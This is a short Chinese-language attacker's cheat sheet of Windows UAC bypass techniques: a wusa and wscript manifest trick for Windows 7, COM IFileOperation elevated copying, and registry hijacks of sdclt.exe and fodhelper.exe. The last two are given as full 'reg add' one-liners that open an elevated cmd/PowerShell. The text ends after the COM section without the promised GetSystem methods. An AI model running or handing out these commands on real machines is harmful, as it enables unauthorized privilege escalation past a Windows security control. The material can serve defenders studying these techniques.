常用BypassUAC和GetSystem备忘
一、 白名单机制UAC绕过
1.1 Invoke-WScriptBypassUAC（wusa绕过），支持win7，参考https://github.com/Vozzie/uacscript
//1. 判断操作系统是否为WIN7，是否为普通权限 //2. Temp目录释放文件wscript.exe.manifest //3. 使用makecab.exe对wscript.exe.manifest和wscript.exe进行压缩 //4. 使用wusa将压缩包解压缩，将wscript.exe.manifest和wscript.exe释放到c:\windows目录 //5. Payload保存在Appdata文件夹的ADS中 //6. 使用c:\Windows\wscript.exe执行payload，实现管理员权限执行payload，绕过UAC
1.2 sdclt.exe绕过，支持win7、win10，修改注册表键值
//reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c powershell.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f
1.3 fodhelper.exe绕过，仅支持win10
//reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "cmd.exe /c powershell.exe" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f
二、COM接口UAC绕过
2.1 IFileOperation越权拷贝文件
执行进程需要是可信进程，一般注入到explorer等进程执行，或者通过rundll32，或者通过修改PEB，越权执行IFileOperation的拷贝，参考https://www.secpulse.com/archives/72563.html
